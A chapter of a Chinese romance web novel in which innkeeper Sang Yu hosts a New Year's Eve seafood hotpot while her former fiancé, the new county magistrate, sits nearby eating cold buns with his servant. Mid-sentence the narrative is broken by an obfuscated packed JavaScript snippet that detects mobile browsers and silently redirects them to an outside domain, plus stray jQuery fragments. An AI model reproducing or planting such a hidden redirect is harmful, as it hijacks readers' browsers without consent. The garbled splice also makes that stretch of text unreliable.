这么一个大活人突然出现在隔壁桌,谢瑶和闻音自然看到了。
谢瑶还是第一次见到这么好看的男子,饶是见多了好皮相的闻音,也是头次见到长相气质都这么出众的,见状不由停了和江一帆的吵嘴去看他。
两人打量的目光从隔壁桌扫过,对视一眼,好奇地向桑榆打听其人。
桑榆没好气地说了对方的身份,顾忌他本地父母官的脸面,随便找了个对方有公务外出临时借宿在此的缘由,帮他搪塞过去。闻音听完,欣然笑道,“原来这就是新来的县太爷,没想到这么年轻,传闻还真不假,长得跟谪仙似的,的确貌若潘安,当得起圣眷钦点的探花。”
刚才被怼得哑口无言的江一帆听到这评价,心里一紧,看向斜对面谪仙的眼神充满敌意。
“这大过年的,县令大人还出来办公差,还真是敬业。”
桑榆没搭腔,心说可不是爱岗敬业嘛,这不大过年的和他老母亲吵架,都敬业到她店里来了,有本事倒是换家客栈住啊。
闻音奇怪桑榆怎么没让伙计给县太爷准备饭菜,桑榆只说县太爷得知他们酒楼已经休息了,不欲扰民休息,只要求在这住一晚。闻音又赞了一句县太爷爱民如子。
桑榆往旁边那桌瞥了一眼,颜卿书脸上却是不太好看。他先前耍了点心机在此赖住了一晚,碍于面子,自己说了无需管饭,此刻不由得有些懊恼。
从砚出去买饭这么久,还没回来,他心知买饭定然不顺利,顿时有些懊悔自己话不该说得太快,想想也是,住都住了,何必在乎多叨扰一顿饭。
桑榆身旁的谢瑶从一开始听到探花这个称呼却是一怔,不由想起桑榆从前那个未婚夫,貌似也是探花,她瞥了眼隔壁这温润如玉的美男子,不会那么巧吧?
“他,不会是那个——”没等谢瑶问桑榆,就在对面桑盼儿摇头加默认的眼神中肯定了自己的猜测。
闻音听到谢瑶没说完的疑问,好奇地看了她一眼。
谢瑶心里却在嘀咕,这人长得也太好了吧,任何男的在这样的人面前,怕不是都要被比下去了,难怪当初桑榆一见就上头,那她弟弟谢舟岂不是没希望了?
桑榆没好气地瞥了隔壁不请自来的那人一眼。
他这个时候下来干嘛?
对了,桑榆想起虽然他们酒楼今晚不开工,但借着父母官的淫威强买强卖,死乞白赖留下来借宿厢房的某人,还是要吃饭的。
方才那个叫从砚的随从出去了,好像说是出去给他家公子买吃的,还跟她打过招呼,说他家公子不习惯在休息的房里用饭,要借他们大堂的饭桌一用。
当时桑榆听了心说,这人这么讲究,还不能在房里用饭,真难伺候,他家那个老娘也是个口蜜腹剑狗眼看人低的,这一家人谁嫁谁倒霉,还好自己算是早早脱离苦海了。
此刻空荡荡的桌子,颜卿书一个人坐在那里,形单影只,和桑榆这桌热闹喜气洋洋全然不同,更显出几分萧索落寞。
不过管他呢,兴许他出来就是为了躲清静,她犯不着多管闲事。
这时不知谁说了声“鱼皮饺熟了”,桑榆将注意力转向沸腾的火锅,对谢瑶几个道,“鱼皮饺可以吃了,快,等会手慢都被这群小崽子抢了去。”
话落也跟着其他人拿起面前的漏勺捞起来,先盛了两碗肉丸和鱼皮饺,分别给谢瑶和闻音。闻音嗅到香味,肚子刚叫了一声,就见到递到跟前的小碗,剜了对面江一帆一眼,便懒得和他一般见识,接过青花白瓷碗小口开吃了起来。
桑榆正想给江一帆也盛上一碗,谁知江一帆倒是不客气,抢先抄起了桑盼儿临时添的碗筷,“我自己来,就不麻烦你了。”
桑榆便由着他去,在吃方面,江一帆这人压根不会委屈自己,桑榆完全不担心他放不开。她见桑泽钟宁和其他伙计都吃上了,各得其乐,自己便留了四个去厨房洗螃蟹的两个伙计,再夹起碗里一个鱼皮饺,正要开吃,袖子被旁边的人揪了一下。
“堂姐,怎么了?”没事拉她衣服做什么。
桑盼儿低声附耳道,“大过年的,他一个人在那角落坐着,是不是太凄凉了点。”
桑榆心里叹了一声,她这个堂姐同情心又发作了,轻笑了一声,“外面那个乞丐也一个人在角落里坐着,堂姐怎么不觉得人家凄凉了?”
桑盼儿立即不吭声了,垂了头,脸上红云若隐若现,桑榆又看了隔壁一眼,脸长得好就是有优势,一个人坐在那,什么也没做,就有人主动关心送温暖。
吃着饺子的谢瑶支起耳朵,没放过桑榆这边的动静,听到桑榆姐妹俩的小声议论,不由替亲弟捏一把汗,紧张地看向桑榆这边,见桑榆对她堂姐的话没什么反应,对隔壁那个前未婚夫态度也冷淡,还夹起了鱼皮饺来吃,这才稍微放下心来。
桑榆吹了吹鱼皮饺,刚要咬下去,就听到门被推开,又很快被合上的声音,接着一个人影跃过眼前,声音有些沮丧,“公子,去得晚,别的都收摊了,就买到这几个包子。”
迎新送旧的除夕节,忙活一年的最后一顿饭竟然这么寒碜,从砚跑了好几个地方,店铺全关完了,借着街上亮起的灯笼,寻去码头,平日里码头摆摊的小贩挤得跟下锅的饺子似的,这会却走的走,散的散,街头冷清得只剩三两个卖炮仗对联的人,唯一一个卖吃食的卖的还是素菜包子。
卖包子的大爷本来都收摊了,最后几个包子留着自家吃,他好说歹说,最后用高价诱惑,这才买到包子。
从砚将油纸包搁在桌上,说完自己都有些不好意思看主子的神情。
偏偏这个时候空气中火锅的热气缭绕,众人有的吃着中间镂空包着切成条的胡萝卜、大葱、鲜虾、木耳丝的鱼卷,有的一手剥着虾,另一手拿来酱油;有的捞来最早就熟透了的鱼面蘸蚝油沙茶酱嗦粉一样囫囵吃着;有的涮着片得薄薄的的鱼片蘸辣酱,有的如桑榆般拿来一碟醋,砸砸有味地吃着鱼皮饺……
一时之间,整间酒楼弥漫着火锅那桌飘来的鲈鱼肉鲜香、鲜虾味、胡萝卜甜香、陈年醋香、酱料香。
从砚看看自己这桌的被捂得有些发瘪的白糖花生素包子,他可不想大年夜里,就啃俩冷冷清清没啥滋味的素包子,这也太惨了吧,还不如留在府里,虽然要看老夫人脸色,起码能吃顿饱饭。可按他们家公子的性子,怎么可能低声下气主动回去跟老夫人认错。
他看了看肉香四溢的隔壁桌,咽了咽口水,连颜卿书也动了动喉咙,主仆俩不约而同望锅兴叹。
外面这么冷的天,最适合吃热乎乎的火锅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343979|178122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,桑掌柜他们真会享受,今儿个吃的还是海鲜火锅。他的目光从桑泽、钟宁、桑盼儿、江一帆、闻音等人脸上一一划过,说不羡慕是假的。
他也想吃。
从砚偷眼瞧了自家主子一眼,可惜他家公子为人矜持端方,断断不可能跟桑掌柜开这个口。这不,本来还跟自己一样朝那边快把他香晕过去的火锅饶有兴趣地瞧了一眼,谁知被自己一看,公子马上移开视线,拿起眼前的素包子,递给他两个,“快吃吧,晚了包子都凉了。”
从砚苦着脸接过包子,见自家公子当真食不言仔细吃了起来,心说他家公子还真是不挑。隔壁桌吃得这么香,他对着这么干瘪食之无味的包子,是怎么吃得下去的?不愧是探花郎,他可没这个定力。
从砚想起方才桑掌柜送了他们公子桂花酒酿圆子,即使被老夫人撂狠话不准回去,他家公子气归气,可还是让他将老夫人爱吃的酒酿圆子送府上去给老夫人和家里下人吃,还交代他让管家按照他先前的吩咐,别忘了给大家封过年的压岁钱。
从砚心里不由后悔,早知道方才别全送去,留两碗给他们自己吃。老夫人是个不顶事的,内宅的事平时多有忽略,下人的奉例、逢年过节的赏银。全靠公子暗中帮忙打理一二,从未亏待过任何一个下人,因此即使老夫人性子古怪顽固还抠门,大家看在公子的份上,也都愿意在府里干。
公子这人样样都好,衙门的事、内宅的事都记得清清楚楚,唯独没想过自己。老夫人也真是的,一点也不懂得体谅公子,说闹别扭就闹别扭,可母子俩哪有隔夜仇,至于大过年的为这点事将公子赶出来吗。要不是公子衣冠整洁,看上去哪像父母官,分明是个无家可归的流浪汉。
搞不懂公子在想什么,明明他很关心桑掌柜,之前暗地里还帮桑掌柜摆平东盛酒楼那个盛掌柜的暗害,怎么就藏着掖着,生怕自己为桑掌柜做的事被对方知道,被对方知道那不是正好,桑掌柜肯定感动死了,说不定一高兴对他家公子能换个笑脸,何至于像现在这样坐冷板凳。
唉,从砚心里叹了口气,越想越替公子感到委屈,都发觉自己望着对面那桌的目光多了几分愤愤不平。
等其他人七手八脚在火锅里捞完吃食,桑盼儿才接过漏勺,刚要开捞,便很难忽视坐在颜卿书旁边那个随从投来过于哀怨的巴巴目光。
吃饭的时候有人吃不上饭,在旁边巴巴盯着自己,桑盼儿实在吃不下,她又去看桑榆,正要劝上几句,怎料桑榆偏过脸,出声道,“虽说酒楼已经歇业,不过颜大人要是不嫌弃的话,晚饭就和我们一块凑合一顿吧,反正也是添两双筷子的事。”
他们这一桌在热热闹闹地吃火锅,这两人在隔壁眼巴巴看着他们吃,可怜兮兮的,确实让人看不下去。别说本来就耳根子软的桑盼儿,连桑榆动了恻隐之心。
从砚的眼睛亮了亮,立马放下手中的包子,抬头兴奋地看向自家公子,激动道,“公子。”
“从砚。”颜卿书从容地吃着包子,岿然不动的嗓音如同给他泼了一盆冷水。
看向桑榆,淡淡道,“多谢桑掌柜美意,可惜颜某有言在先,就不叨扰了。”
这人真会端着。
都请他上桌了,他还摆出一副矜持的模样。真是让人受不了。